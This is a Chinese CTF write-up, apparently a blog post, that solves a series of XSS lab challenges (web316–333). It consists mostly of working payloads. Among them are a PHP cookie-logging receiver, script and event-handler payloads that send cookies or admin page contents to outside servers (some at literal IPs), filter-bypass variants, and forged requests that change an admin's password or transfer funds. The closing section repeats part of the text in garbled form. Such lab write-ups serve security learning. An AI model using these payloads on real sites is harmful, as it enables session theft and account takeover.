web入门-xss_new

web入门-xss

web316

xss最常见的利用是用来获取他人的cookie,我们上传一个<script>alert(document.cookie)</script>发现存在xss,根据提示推测admin会每隔一定时间会自动访问我们上传的链接xss

我们需要一个平台去接收返回的xss,这里可以使用网上的xss平台,也可以使用自己的服务器

选择使用自己的服务器,直接写一个接收get参数的php文件,让其去访问即可

//xss文件代码
# xss.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

生成的xss链接为:

<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>

web317

过滤script

payload为<select onfocus=document.location.href="http://ip/xss.php?cookie="+document.cookie autofocus>

web318

采用body标签被过滤的可能信较低

payload为<body onload=location.href="http://ip/xss.php?cookie="+document.cookie>

web319

同前

web320

增加了对空格的过滤,可以使用/代替空格

payload为<body/onload=location.href="http://ip/xss.php?cookie="+document.cookie>

web321

同web322

web322

增加对xss关键字的过滤

pyload为<body/onload=location.href="http://ip/cookie.php?cookie="+document.cookie>

web323

同web322的payload

web324

同前

web325

同前

web326

同前

web327

存储型的xss按照,存储型xss发送给管理员效果更好,我们在收件人项选择admin,内容payload同前

<body/onload=location.href="http://ip/cookie.php?cookie="+document.cookie>

web328

这道题的flag不在cookie中,要登录进admin账户中才能得到

首先注册一个用户名密码都为<img src=x onerror=document.location.href='http://47.120.38.210/cookie.php?cookie='+document.cookie>

的账户,获取到PHPSESSID,通过这个PHPSESSID可以以admin的身份访问网页,在admin的用户管理里可以找到flag。

web329

还是按照同样的方式拿到管理员的cookie但却没法成功登录。在题解中发现时设置了cookie发送后就会失效。不过观察前面的题目发现flag其实就在页面的内容中,只要读到就可以

<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

还有这样的:

<script>
var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);
</script>

补充:

innerHTML,outerHTML和textContent的区别

  1. innerHTML:从对象的起始位置到终止位置的全部内容,不包括Html标签。
  2. outerHTML:除了包含innerHTML的全部内容外, 还包含对象标签本身。
  3. textContent 属性设置或返回指定节点的文本内容,以及它的所有后代。

querySelector() 方法

  1. 获取文档中 id=“demo” 的元素

    document.querySelector("#demo");
    
  2. 获取文档中 class=“example” 的第一个元素:

    document.querySelector(".example");
    
  3. 获取文档中 class=“example” 的第一个

    元素:

    document.querySelector("p.example");
    
  4. 获取文档中 id="top"的子孙节点中class=“example” 的 第一个

    元素

    document.querySelector("#demo>p.example ");
    
  5. 获取文档中有 “target” 属性的第一个 元素:

    document.querySelector("a[target]");
    
web330

方法1:增加了一个修改密码的功能,自然联想到让admin触发修改密码,于是构造payload

<script>window.open('http://127.0.0.1/api/change.php?p=123456')</script>

注意:这里的ip地址要填127.0.0.1要不然管理员访问不到

通过分批放包我们找到flag

方法2:通过观察我们发现flag还是在管理页面,我们同样可以通过读取内容获得flag

payload如下:

payload1:
<script>window.open('http://你的个人服务器/cookie.php?cookie='+document.querySelector('#top > div.layui-container').textContent)</script>
payload2:
<script>window.open('http://你的个人服务器/cookie.php?cookie='+document.querySelector('#top').textContent)</script>
payload3:
有很多类似的

在服务器上就可以看到flag了

web331

发现修改密码的方式变成了post方式,我们设计以post方式提交的数据

payload1:

<script>
//请求的主题必须写
var httpRequest = new XMLHttpRequest();//创建对象
httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true); //打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设计请求头,必填
httpRequest.send('p=12345');//发送请求将提交的内容写在里面


//下面的语句用来获得返回结果提示,可写可不写
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
        var json = httpRequest.responseText;//获取到服务端返回的数据
        console.log(json);
    }
};
</script>

payload2:

同前一题获取内容发给我们的服务器

web332

多了一个转账购买flag的功能,我们抓包分析即可构造出一个类似上一题的payload

<script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1/api/amount.php', true); 
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.send('u=whoami&a=10000');
</script>
web333

方法同web332
t.open(‘POST’, ‘http://127.0.0.1/api/amount.php’, true);
httpRequest.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
httpRequest.send(‘u=whoami&a=10000’);


#### web333

方法同web332
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值